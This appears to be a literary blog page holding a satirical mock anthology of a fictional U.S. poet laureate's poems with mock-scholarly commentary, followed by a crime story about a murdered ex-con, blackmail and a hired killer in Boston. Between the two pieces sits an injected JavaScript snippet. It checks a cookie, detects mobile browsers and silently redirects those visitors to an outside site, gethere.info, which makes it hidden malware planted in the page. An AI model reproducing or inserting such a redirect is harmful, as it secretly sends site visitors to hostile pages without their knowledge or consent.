Arnold Henry Schwartzman (1922-2025), iconoclastic but prolific former poet laureate of the United States, left us with a robust oeuvre spanning some of America’s most turbulent social eras.  A troubled youth (and man)  whose life’s arc defies categorization or, indeed, understanding, Schwartzman can be best approached, if not comprehended, by an assiduous study of his works which are, indeed, the distillate of his personal journey.

From the 28 volumes of his collected work, the editors have selected landmark poems from each major period of his life, and have arranged them in a rigid chronology, thus forcing the reader to come to terms with the intersection of reality and AH’s search for meaning.  See if you can find, by surrender to the flow of AH’s poetic perceptions, the essence of an ultimately humble, and humbling, artist and human being.

Herewith, AH at his core, raw and unafraid.

 

Poems of Youth

PS 166

My mother is so pretty,

Her hair is silky black.

She walks with me to school each day

And then she walks me back.

[This short elegy was graded a 99% by Mrs. Pearl Zimmerman, AH’s third grade teacher.  Here we see the birth of his early period’s greatest strengths: rigorous meter, and affinity for the ABCB rhyming scheme.]

 

Middle School

Patricia Ginsberg held my hand

And the feeling was so good

That I left the dance and told my tale

All through the neighborhood.

But love is fickle, love is cruel,

That girl now dates another,

 And that which makes the matter worse

Is the other is my brother.

[Here, AH introduces the oft-used convention of an additional internal rhyme in the final line of his last stanza.  His growing perception of his unfortunate place in the cosmos is reflected in an accepting melancholy – a melancholy soon to be replaced by a darker perception driven by the realization that most of his pathos derives from the people he is supposed to love.]

 

High School

I took the train into the Village

And scored in a bar that would serve me.

But the smoke was thick as shower steam

And that dive did not deserve me.

In Tompkins Square I saw a Negro

Encased in smoke from his cigar

And thought, with all that smarting mist

He belonged back in that bar.

My subway car bore me back home

to Brooklyn’s quiet tree-lined streets.

But Brooklyn seemed like urban death;

The Village can’t be beat.

[Here, we see a growing sense of despair, a broadened range of experience and a corresponding growing dissonance, soon to morph into anger and then, rage.]

 

College Freshman Year

Class is classless,

College boring.

My friends and I, we all went whoring.

Girls are dirty

And girls are cheap

But we’re no good at scoring.

 Back to the dorm,

Back to the norm,

But I cannot quench my inner storm….

[Obviously a more mature theme, not surprisingly as AH matures and faces the sexual drive of his years clashing with the restricted norms of the pre-war college ethos.  How will AH resolve his growing frustration?  More importantly, will AH find a path to acceptable sexual expression?  We read on, into the disruptive decade that encompasses war, holocaust, a return to normalcy and, yet, for AH, a growing awareness of who he is – an unpleasant discovery to be sure.]

 

Poems of Early Maturity

 War in France:

 I hold Harry’s helmet in my hands

And feel the tactile stickiness of blood

And brains that ooze out

Of his still-ensconced head.

Sarge told me I should put it back,

Lie it next to Harry’s body so

He could be buried all together

So to speak (does that matter in the circumstances, he took his chances!)?

But I carried it in my over-burdened back-pack

Across half of France until

I let it rest, uncovered,

Under a plane tree on a straight, picturesque road

Unpocked with shell craters

Somewhere near the German border.

“Fuckin’ crazy college kid,” Sarge said,

“You can never tell what they’re going to do next.”

[This work speaks for itself.  Violence has unleashed AH from the fetters of rhyme, meter and fixed structure, allowing his sardonic, morbid psyche to roam free across the landscape of an evil world gone mad.  This will lead him inexorably into the rage in which he, and his poetry, periodically dwell, and at times wallow, as he searches for meaning in a world devoid of meaning even for the competent, let alone for AH.]

 

Stateside again:

  Piss.

Piss shit.

Shit piss

New York

Not so

New.

 

Alleys smell like

                Piss

And up-reek

                Shit!!

Shit.

Piss.

Pissing and shitting.

Shitting and pissing.

New York at night.

I love it.

[Ala Ginsberg, here fully liberated and with heightened perception, AH for the first time, at least on the written page, acknowledges his affinity for the dark tawdry underbelly of his world as experienced by his fellow Village poets, artists and deviants.  That affinity risks consuming and destroying him but, as the sainted Whitman before him rallied from the horrors of war, AH instead converted that heightened sensitivity to a vast poetic legacy, chronicling his struggle to stay afloat in that world, and not to sink irretrievably beneath its seductive surface.  We rejoice with him as he loves the night!]

 

Bombs over Levittown:

I saw my parents

In a split level ranch

(Cost 14-9) in Levittown so

I dropped a small nuclear device

In my mind

In my dreams

In my sincerest wish

On their fucking heads.

I left my testicles on a beach in Normandy but

The good news is,

I will never inflict this on my children.

Duckie duckie cute little duckie in the bath leads to

Duck and cover.

Duck and cover that, daddy-O.

 

Poems of the Academia

[After a decade as a founder of the New York School of Angry Poetry at his basement home at 33 Bleeker, AH embarked on a brief storied career as a professor at several Universities, for which see below.  As can be seen from this last poem, he had fully exploded the genre of modern poetry as then known, foretelling rap, putting Creeley in his place, and making trash of Ogden Nash.  Where else could such a restless genius go?]

 

Yale

Hail to Yale, says

This CCNY graduate.

How smart of you

To promote a son of the streets to tend your ivory tower.

Education is erudition in the classical sense,

Ares in a helmet,

Prometheus with his guts ripped out by birds each morning.

I tend your tender psyche,

O ye scions of America,

And raise your boola boola

To the halcyon halls of the houses

Of Morgan,

Of Merrill,

Of noble Smith and gentle Barney

So you can go short on Plato

And make a derivative out of Spinoza,

The only Jew in the counting house of excommunication.

 

Harvard

I have been captured, stolen, seduced

To greater architecture,

Better endowment

(slightly older!).

The arched stadium, its steep concrete steps

Leave me breathless as I run up them. 

I am preceded and followed by runners, rowers, lacrosse boys with nets;

I reach the stars in my head as my blood floods my heart.

The river runs Crimson

With the heart-beat of America,

The cradle of Presidents,

The erudition conviction.

I asked not

but was simply told.

 

Iowa State

Oh what cruel literary fate

Has cast me in rows of corn

While being told I am in heaven?

Tenure was so dear,

The bread of my affliction,

The promise mixed with leaven.

To be hired and admired

And published in my time

Has brought me near full circle:

I have fallen into rhyme.

 

The History of the American Dream (1963 [?]-1994 {excerpted})

 [AH wandered the American academy seeking a curriculum that could augment his austere inherent critique of an American society mired in the quests for money and power, training its best and brightest in the classics before promoting them to the design of derivative securities.  Having finally achieved tenure at Iowa, AH failed to appear on campus for the Spring semester in 1963.  Thus began a three-decade exile of which little is known of his life.  AH re-emerged, in excellent health albeit rail thin, married to a former Catholic nun from Erie, Pennsylvania, living back in Brooklyn, New York and supporting himself as a writer of Hallmark Greeting Cards.  His specialty was in the condolence arena. But then his former publisher, having once told AH that poetry was no longer a publishable enterprise for a major house, recanted upon reading the fourteen-volume poetic saga we now know as The History of the American Dream.  Excerpts below illustrate the classic recurrent memes relating to death, renewal, faith, repression and patriotism.]

 

Canto 186

Standing on a hilltop

In Dubuque Iowa in a snowstorm

I knew how my forebears felt,

Gazing over vast prairies,

Sensing snow-crowned peaks without seeing them,

Waiting waiting waiting for

America to come to them, to mount them,

To o’er-top them

And flow their pollution from sea to tarnished sea.

I am America

Without barbaric yawp.

I lost it somewhere West of Keokuk.

 

Canto 447

 My dead parents speak to me of their resurrection.

They are within me

And promise me

An end to pain.

As a child, I believed all they told me.

As a new adult, I disbelieved all they promised me.

As a survivor, last in the waiting line to oblivion

I chose to hear their loving call.

I am coming

I am coming

I am here….

 [Although AH never had any children, he and his wife Anne Marie adopted a young Russian orphan in the Winter of 1993, shortly after the fall of the USSR.  It is widely believed that AH’s love for young Alexi led to a brightening of his world view, and was the catalyst for his return to public life.  Witness the following two brief cantos:]

 Canto 1976

 I have heard your smile

In my heart at night.

It echoes in the chambers of my hope.

I have smelled the sweetness of your hope at dawn

And now I understand.

 

Canto 2001

Love is the skin of a child,

Pink with the flesh of the morning.

Love are the hairs on his crown

That frill with the breeze at the dawning.

Your odyssey from your tundra of pain

Has renewed my desire to rise again.

 

Poems of Celebrity

[AH, Anne Marie and Alexi moved summers to the hills overlooking Santa Barbara, California, where the family flourished, spending time tending a small vineyard while AH continued to produce about two volumes a year of less angry poetry, much of it epic history of famous vintners and matadors.  These longer works lend themselves to neither excerpting nor close textual analysis, but brought continued recognition for their crisp execution and poetic freedom.  The editors have selected five characterizations of different persons whose lives were chronicled during this period from Alexi’s second birthday until his defection to the Syrian defense force in 2014, where he disappeared into the growing civil war that marred much of that turbulent era.  These poetic biographies were the last affirmative works of AH’s career; after the loss of Alexi and the suicide of his wife, AH returned to his darker spirit—but, more of that later.  For now, we give you five vignettes from poetic works of the decade beginning in 1995.]

 

Leopold Ludwig Schmidt [lines 103-106]

The sun had shriveled the skin of the grape,

But for Schmidt, he did not care.

The wine that year was intense and cloying

But for him, an allegory for the world.

 

Ramon Cabrera [lines 386-389]

The bull gored into him, through him.

“My cape and my sword shall protect me,”

He thought.

Were it only so….

 

Josie the Body [lines 1-6]

I have come to the valley to grow my grapes.

I have used my body across the screens of Maria

And some have thought, a whore!

They did not know.

It was for the harvest

And now in this day I have come home.

 

Pedro [lines 599-600]

I sank the shaft deep into his neck

And I cried for his pain; it was mine.

 

Lance Lewiston [lines 67-70]

My father planted these vines.

Their roots are deep into the earth.

Their roots are also deep into my soul.

They speak to me of my worth.

 

 

Years of Rage

[Although named Poet Laureate of the United States in 2020 in recognition of his prior works, AH never functioned in that role after his sole official appearance at the inauguration the following January, where his unfortunately brief homage understandably caused embarrassment and consternation, and in a rare moment of agreement within both major political parties.  Your editors feel compelled to set it forth below, particularly since after AH was escorted from the stage he never published another poem during his remaining years.  Not that he ceased to write; AH dutifully texted the Library of Congress each day, noting the number of poems he had written the prior day and their respective titles, followed by a description of his particular manner of destroying all of them that morning.  His sardonic wit never left AH, however; he kept numerous canines at his retreat at Three Mile Island, and often observed: “The dog ate my poetry.”]

A Plague on Both Your Houses

The pachyderm packed his package.

The donkey moved his ass.

They came together on some windblown steppes,

Shook hands and said some sass.

I must set the stage for this moment

For reasons I don’t comprehend.

So forgive my brevity, I intend no levity,

This poem has got to end.

[Repeat final two lines three more times with increasing intensity]

 

 

Last Years

[After AH’s resignation he fled once again from public view.  Friends and enemies both lost track of him.  His brownstone in Park Slope was maintained, snow cleared, mail retrieved, the small front yard kept clipped and fertilized, but the curtains remained perpetually drawn and it was never clear if, or when, AH had again taken up residence.  The poet seemingly abandoned poetry altogether until his final couple of years when, in failing health and memory, AH’s agent facilitated his removal to the Jewish Home for the Aged in Queens, New York.  AH met his God there on the 8^th day of August, 2025 in his 102^nd year.  Schwartzman left a sizeable estate but no will, surviving family or known heirs.  His fortune escheated to the benefit of the Treasurer of the State of New York, and was spent as part of the operational budget; in the year of escheat, the State rebuilt some beaches ravaged by global warming, erected a statute to the memory of Frank Sinatra for singing “New York, New York,” and fixed numerous leaks in the Alfred E Smith State Office Building in Albany, so at least we know that AH’s riches were applied, in part, for benevolent purposes.  His brownstone was found in the same pristine condition as the day he last resided there; his butler each morning had renewed his toothbrush with a fresh dollop of Crest toothpaste, said to be AH’s favorite.  Alexi’s room was similarly preserved, as Alexi had left it the day he defected through Turkey to the radical insurgents (who by 2025 had become the duly elected democratic government of greater Caliphatestan); the black ISIS flag still draped ominously over the pilled green chenille coverlet. 

AH’s private personal notebook from his four years at the Home was delivered to his publishing house, and the publisher reported it contained but a single poetic fragment, much edited as if AH were attempting to sum up his entire life, its success and failure, its beauty and ugliness, in a single verse.  That verse was published on a black-bordered page of The New Yorker, without comment save for a simple title above it: Last Poem for Us All.  AH remains in death as he was in life, enigmatic to no end,  a true poetic genius, the Picasso of Poesy, ill-understood by all Americans, by his friends and—by himself.]

 

Last Poem for All of Us

Mary had a little am

… ? …

Its fleece was white and

everywhere

it was sure to go!

 

 

 

 

 if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

So I need you to picture a man about five feet five inches tall, the kind of man with a permanent stubble on his hollow cheeks, thin graying hair askew and a bit too greasy to blow in the November wind. He is in a brownish tweedy suit, with the elbows bagged out and the trousers a bit too big, cinched up with a thin black belt almost to his breast to keep the pants from slipping down over his flat rear end. His shirt is white but gone yellow. His cap is in his hand, so worn that the name, once printed in gold on the lining, is now just a scrap of color here and there.

The man is thin and his wrists stick out of his sleeves like bony pendulums. His shoulders slope, hiding what used to be some muscle, built up by random hard labor over many years, but there is not much of that left. The man draws on the short stub of an off-brand cigarette, the smoke disappearing between yellowed teeth into his chest, where the smoke gives birth to a shallow cough.

He is fifty years old. He is sixty years old. He is the kind of guy you cannot tell how old he is but you do not care. He has a history in the lines of his face but you do not wish to share that history. He is invisible and eye contact is to be avoided. His name is Harry. His name is Max. His name is Shorty. Actually, this one is named Jeff.

“Hello there, my name is Jeff. Jeff the Jet they call me. It’s a long story you don’t want to hear. Pleased to meet you.”

“I am waiting for my former wife. She has something of mine, something she kept on purpose when we split maybe fifteen years ago. She remarried right away, didn’t wait for any divorce but it doesn’t matter to anyone, certainly not to me. Just so long as she doesn’t want any money. The new guy – not so new anymore, huh? – he’s paid everything for the kid, spoiled him so he doesn’t work, a real punk, I see him around sometimes but we don’t talk to each other. I know he knows who I am but he never cuts me a break as his father, know what I mean? Never a beer, a game of pool or anything. He’ll end up what I call a dickwad, no job, end up running numbers or worse for small change. Well, fuck him. He couldn’t lay brick or know how to pick up a 55 gallon barrel or anything useful and I don’t think he’s sitting at a some desk, he’s stupid as a post – just like his friggin’ mother, the slut.”

“But it’s my stuff, and I called her a few times and finally she sighs, like it’s a big bother even though she doesn’t work and has nothing but time, and says if I come all the way to Somerville and stand on this corner here she’ll bring it to me if I just promise to not call her anymore which is fine.”

I’m beginning to think she isn’t coming and it sure is brisk out here, I put my cap back on although I don’t like it, it makes my head itch. The woman who runs the house where I rent a room tells me I need to shower more, rub my scalp, but the water is cold unless you’re the first one up and my one big pleasure, now that I gave up working, is to sleep in.

“Well wait a sec, here she is coming around the corner, a small woman still dying her hair blonde, a couple of shades too much towards brass, but her eyebrows are still dark; she would be helped by letting her hair go a bit lighter, it’s on its own trip already, headed nonstop towards gray. Wrapped in a big cloth coat, dark blue, with a pair of those brightly colored sneakers stepping out from under the coat folds when she walks; a vision in ordinary. Her face isn’t too bad but then again I choose not to look at it.”

“Ya got the envelope,” I ask.

“Yeah, I got it. I told you I would bring it. You think I’d haul my ass out here in this weather just to see you again? If I never saw you again it would be too soon.”

I bit my tongue. “You look good, Tina. You doin’ okay?”

“Here’s your fuckin’ envelope. Save your sweet talk for your whiskey bottle.” She held out a manila envelope, pretty dog-eared but I flipped it over and it still seemed scotch-taped shut. I shrugged and started to walk away.

“Thanks for the thank-you, shit-head,” I heard.

I didn’t turn around, I just walked away. I was proud of myself. In my old age I have learned something I never got down before: how to shut up. The envelope I stuck under my suit coat, it didn’t fit in a pocket so I held it tight against me. On the outside, in my handwriting from a long time ago, the ink slightly smeared, was the word “Lips.”

__________

Lawrence Carter was up early, as usual. His terminals streamed Bloomberg and the market data. His I-Pad had the Journal, his cell phone was frozen on The Economist article about American economic decline in manufacturing. His lap-top was tied to his trading desk. Sitting in his shorts, one of the girls set down a mug of black coffee, Nairobi Dark, his favorite for the morning; at night, it kept him awake, but awake was what he wanted to be in the morning when the European markets were closing and the American markets were coming alive.

“Close the door, goddammit,” he yelled, not turning his head from the screens. The women his wife hired to maintain the household never had a clue about what he expected while he was working, and half of them didn’t even speak enough English to explain. Most of them thought any conversation was leading up to a proposition, but, between his wife and Lois, Lawrence’s dance card was full up.

From the hallway, he could hear Melissa upbraiding one of the kids, probably Larry Jr. who was always slow to get ready for school. “I know the feeling,” he thought. “The world will beat that shit out of him soon enough,” he mumbled to himself, barely audible.

He ran his slightly open hand back over his remaining wisps of blond hair; his forehead had a light sweat, as always when he was trading. His sharp nose was receding into ever-expanding pads of fat growing unwanted on his cheeks, out of which his dark blue eyes shone with transfixing intensity that so many found unsettling. His chin, cleft still visible although growing more shallow each year, framed his rounded mouth, a mouth that failed to reach out to his delicate ears but gave up the chase in a line just about at the middle of his eye-sockets. The Aruba tan was fading, he needed to get back under the lamp in the solarium for a few minutes but who had time these days? The market had returned to volatility, it required all his focus.

He scratched his balls through the slit in the front of his boxers, and went long ten thousand Microsoft and watched for the market to tick upwards into paydirt.

____________

They found the Jet in a marsh out by Logan Airport in the late Fall. His clothes had pretty much disintegrated, and his wallet was gone, but the tattoo together with the teeth led to a positive identification. Larry had put the envelope in his home safe, the one for which Melissa did not have the numbers. Every once in a while he remembered that he wanted to read, to study its contents again, for old time’s sake, before he burned it or shredded it or otherwise made it disappear, but the market was still jumpy, who could figure out China, and then there was South America getting tied up in its own history, and he wanted to savor the experience. Melissa would be on the Island with the kids, he would light a fire, open a magnum of Ducru Beaucaillou, maybe the 2000, and relive those halcyon days when he was known as “Lips” on account of his quick patter, and he and Sonny and Louis and the Jet used to hang out in the Combat Zone and make money the old fashioned way.

But Lawrence Carter had time, yes indeed he did. He was making money, the Jet had flown away for good, Lois had agreed to the abortion and he had begun to work out, using the gym on the top floor for the first time since he equipped it lavishly five years ago. It was all good, ya know what I mean?

Then someone called, said he was representing Tina. “Tina who,” he had asked; he had no idea. “Tina, Jeff’s wife,” said the male voice, high pitched from nerves. “Tina, she married the Jet.”

A pause. Then, coolly: “Oh, yeah, Tina. Say, who is this, maybe we should get together and chat about this.”

“Bullshit on that. I don’t want to end up like Jeff did.”

Now Lawrence was really not happy. “Don’t know what you mean.”

“Yeah, I know you don’t. We’ll be in touch. All by phone. And we are recording everything, so you should remember what’s going down if you screw with us. By the way, interesting reading in the envelope, Lips. Glad Tina made a copy.” The dial tone went on for a long time after that, then the recording of the woman telling Lawrence to hang up and dial again.

Lawrence locked the den door, warning not to wait up, he was doing something with Singapore and there was this time difference. He had taken in a sleeve of wasabi rice crackers, a wedge of London Fog cheese and a bottle of Pappy Van Winkle 15, no ice. This was not an exercise for wine, but for something a bit more powerful.

He turned the tatty envelope over a couple of times, then looked hard at the scotch tape sealing it. Yellowed, cracked, fragile, but you could see that it probably hadn’t been lifted off and then resealed. Of course, he had never seen the envelope, never knew it existed, didn’t even know if this was the original envelope. He had an idea what was in it, but perhaps the material had been opened, copied, and then put into this envelope with some old tape, or tape that had been aged by heat or by a chemical. It would be good to be able to have it analyzed by a police lab, but of course that was out of the question.

Then it occurred to him that you might open an envelope like this, with an overlapping glued seam at the bottom, without touching the scotch tape and the main opening at all: you might get the bottom open, slip the stuff out and back in, re-glue it and who would know? The hell, he thought, and took a letter opener, grabbed its onyx handle and gently worked it along the edge of the tape, which fell apart into splinters of stiff yellow plastic-like shards.

Lawrence used the back of his hand to whisk the cracker crumbs and a few small clumps of cheese off the desk-top, then for some reason he could not identify took out his handkerchief and half-polished the area before sliding the contents flat out onto the cherry-wood. He poured a third glass of bourbon and started reading.

Impressively complete. The notes were just stories, they could have been fiction, could have been about anyone. But the Jet had been pretty complete in his package. There were pictures; there were a couple of parking receipts, a cab receipt, and there was a small reel of recording tape that he had no way of playing; that could be a problem but if you had money you could buy any old thing you needed on Craig’s List or E-Bay including an old-fashioned tape machine, it would just take a little time. Did he have time? There was also a copy of the Boston Herald’s front few pages, the one with a picture of the body half, but only half- draped with a sheet. You could see Sonny’s shoes sticking out of the bottom, and on the ground was the sweater the Lip had lifted from the counter of Filene’s basement the week before – before the thing.

What the hell was the Jet doing? Was this a souvenir for his own personal Hope Chest, until he decided to monetize his memories with the only guy he knew who was solvent? Would he have planned to shake someone down with this, a couple of decades ago? Inconceivable; who would think that way, and who would figure anyone would be rich enough in the future—or even alive, for that matter, given how they were earning their dough back then?

How could he deal with this new caller? This was going to be delicate, over the phone; and he didn’t even know if he was being conned, which was worse than having to pay if they had the goods. And what would stop them from doing it over and over if it worked once? What was on the tape anyway, who had a tape recorder in 1980? There wasn’t enough Papy to answer all these questions and that was for sure. He was feeling hazy, not enough food to absorb the alcohol. No matter. Not an action item for tonight. Only question is, do I just destroy all this shit right now? Having it laying around sure can’t help me any, no matter what next happens. Well, not before I decipher the tape. What the hell am I looking for on EBay? Do I put in my own ad, doesn’t that prove something even if it turns out no one can produce a copy of the tape?

It was easier running hookers and selling horse, you just delivered the goods and got paid, there was no mystery. Who needs mystery in their lives? Who needs this shit?

Lawrence Carter restuffed the envelope, sealed it with fresh tape and put it into his private safe. The crackers were gone, the cheese was no good without crackers, the bourbon was mellow and smoked and only burned a little in the back of his throat if he let it slosh there for the moment. “The morning,” he said out loud. He was always at his best in the morning, and tomorrow at least the markets were closed so he would have more time to think.

___________________________________

Luis was sweating in his hands. He had never had perspiration in his palms before, not even when he was high or having sex or stapling dry-wall in a summer construction job. Luis did not like the feeling.

“How’d it go, whaddaya think?” he asked Tina. It was next morning and according to their plan, they were going to let Carter sweat until next Monday or Tuesday.

“How the hell do I know, you was on the phone.”

“Yeah, well it went fine I think. But I wish to hell I knew what was inside the envelope.”

Tina sighed. “Look, I ain’t one hundred percent sure but I know this much from back in the day: The Jet and the Lip were pretty wild, and one of their boys turned up dead after there was this fight, so I figure one of them offed the guy and because the Jet had the envelope I figure he was holding something on this Carter guy so it must have been Carter or at least he was there. I also think there was a tape recording in there; Jeff lifted one of those miniature tape recorders one time, he loved it, he kept writing memos to himself on the thing like he was some bigshot behind a desk, and I’m pretty sure I felt one of them tapes in the envelope there, so there’s that to tell him when he gets suspicious. Which he will. I don’t have any info but I betcha he’s the guy that done Jeff, or his people. This Carter, he’s a real rich guy but he got his start down in the strip joints and bars in town before they cleaned them up, he’s a real phony, name isn’t even Carter, it was something Italian or Greek like Carterino or Carino or something.”

Luis wiped his face and hands with a stained dish towel and rehung it on the oven door handle. “Ya know I don’t like this, this is real dangerous.”

“Ya think? I’m the one whose name we’re using. You, you’re just a voice. If this Carter is what we think, I’m the one with a major problem here, not you.”

“Oh, and if they decide to do something you think they won’t figure out it’s your husband making the calls? I’m in deep cover here, right? Bullshit.”

“Bullshit, bullshit, everything you don’t like, to you it’s bullshit. Grow up. I’m sick and tired of being broke.”

“We ain’t broke,” Luis bristled. “If it weren’t for your shithead son sponging off us we’d be fine.”

Tina sighed. “We been over this. I don’t wanna hear about my son no more. The idea is, we all get healthy, right? This guy’s got too much to risk to take a chance. He’s gotta play. He’s gotta play big.”

At about the same time Tina was mentally contemplating her future money, Lawrence was looking through his notebook for the coded name and phone number of that guy he had hired when the Jet started acting up.
_________________________________

Normie Pockets sat at a table at the back of the coffee house dipping a rock-hard almond biscotti into the narrow top of his espresso cup; the yellow crumbs floated in a thin scum on top, making it unpleasant to drink, but he liked how the warm coffee flowed into the cookie like into a rigid sponge. Normie enjoyed mornings because they were peaceful, he could kick back and think about things. The Italian soccer league gamE was coming on the TV in a half-hour, direct from Turin. That was good because Normie was not big into reading newspapers. He lit another cigarette.

“Normie, ya know ya can’t smoke.”

“Tone, ya know I’m alone in here on this shitty morning, what’s ya point. If some dumb paisan stumbles in here while I’m smoking and has a problem I’ll put it out.”

Tony snorted. “Yeah, someone from the neighborhood is goin’ ta be real comfortable telling YOU to snub it out, Normie. Let me know when that happens, I want to tell everyone about it.”

Normie’s cell rang. He picked up and said nothing.

“Mr. P, is that you?”

“Who is this?”

“My name is – uh, Mr. CL.”

“Uh-huh.”

“So I need to talk to you about something.”

Normie sat up straight. “Old business?” Normie did not prefer revisiting old business, anyone who wanted to talk about old business generally had an old problem, and Normie knew that sometimes old problems were messy problems.

“What? No, this is – new business.”

“Well, you know the drill. Tomorrow.” Normie hung up. A good call for a Saturday morning. Mr. CL’s fifty thou had been a nice deal, above market in the neighborhood but these Beacon Hill types had no idea what the market was, so you could sort of set your own price; particularly for repeat business, because, based on Normie’s sizeable experience base, for these guys repeat business really was somehow related to old business that had not quite been fully buried.

Tony clicked on the TV and came around to sit next to Normie. He absent-mindedly reached down onto the table and took a Camel out of Normie’s pack.

“Hey, Normie, where’s ya lighter?”

______________________________

Sarah Greenberg swiped her stringy hair up her forehead; it kept slipping down and blocking her eyes and she was trying to concentrate. She had a guy out of the swamp from four months ago and she couldn’t seem to get any traction.

Sarah was the stubborn type. Back when she was married to the Asshole and teaching school in Watertown, that streak got her in a lot of trouble. The Junior High wanted math taught the way the State said to teach it so the kids would pass the test in ninth grade and then the State would leave the school alone on the theory that they must be doing its job. And at home it was no better; Sarah had the stubborn idea that Asshole should stop going to graduate school and go out and get a job so they could find a different place to live, maybe where the rodents were not so well established that the landlord had given up on dislodging them, pointing to the low rent as an explanation.

But stubborn was good for a detective. The Boston Police Department liked stubborn. Stubborn got cases solved, if they happened to be one of the small percentage of cases that the Police Department cared about. And they cared about citizens of Boston, when they turned up decomposing in shallow water. Even cared about the least of these, which means they cared about Jeffrey Redenheimer.

How did this shlub earn a professional hit? His last arrest was thirty years ago. Since then he had become a citizen. A poor citizen, odd jobs mostly labor, and he lived in a dive for sure and his ex had no kind words to say about him, but still, the guys he worked with, the people he worked for, said he was “solid” and brighter than he seemed. Of course, when Sarah first got a look at him it was not hard to look smarter, what with his eyes and half his nose gone and his hair, what there was of it, all intermeshed with that fishing line with the sea-weed mixed in.

The only interesting thing she had found in his room, aside from a surprisingly large collection of unredeemed pawn tickets, was a phone number stuck to the mirror with black plumber’s tape. It turned out to belong to one Lawrence Carter, a well-connected Boston Brahman with one of those early 19th century red brick houses with the curved front windows and wrought iron gates up on Beacon Hill. Carter had checked out pretty well; she had decided not to talk to him until she researched the rest of the facts, but it turned out there really weren’t any other facts; and then, the rash of rapes in the North End took her attention until they caught the guy and now she was staring at the file again, with the picture of the decedent and her useless notes, realizing she should not have delayed so long in talking to this guy Carter.

Another thing was the angle of the bullets. Two in the back of the head, entering the skull at a steep slope. The decedent was short, but how tall was the shooter? He would have had to have been about seven feet tall; unlikely. Unless the guy was kneeling, or sitting in a chair…. Possible but unusual. She had found a couple of other similar hits in the files, but both were a few years back; one they had tried to hang on this Polish guy, Norman Poduluski, he had been seen in the neighborhood a couple of nights in a row with no reason to be so far from home, but he ended up with a tight alibi on the given night and then he had faded from police view….

Greenberg began plucking the hairs from the corner of her right eyebrow; there were not many remaining, it was a bad habit, and with those steel colored eyes, wide apart and slightly popped and straddling a porcine nose and light olive skin, she looked a little like a flounder with one eye pointed up and the other hiding in plain view. The crow’s feet didn’t help either.

____________________________________________

“I changed my mind.”

“Whaddaya mean, changed ya mind? I been spending the last week and a half watchin’ this guy. He’s a weirdo, doesn’t go out much but I got him figured now I think.”

“Well, I don’t want you to – do it.” Lawrence held the disposable phone tightly, hissing into it. The interior of the Lincoln was cold as hell, the weather had turned. The engine had been off for an hour while he thought it over, but it was too risky; he would pay the money, for now, and see if Tina just went away. If she became a regular problem, there would be time enough.

“Look, it’s your thing, I don’t gotta do it, ya know? It’s fine, just let it sit and ya change ya mind you can, ya know, try me again.”

“How do I get my money back?”

Norman paused, figured it out right away, and snorted into the cell phone belonging to a nonexistent Verizon subscriber named Ralph Ligouri. “We seem to have a bad connection all of a sudden, Mr. CL.” Norman smiled to himself for thinking up such a clever way to phrase it; and right on the spot also. “This is not your regular type arrangement with a deposit, ya know.”

Now a pause on the other end.

A short breath inward, a longer pause.

The, in a calm business tone : “I realize you have expended some — effort here and I am willing to pay for your time, but look, 75 grand for following a guy for a couple of weeks is pretty stiff.”

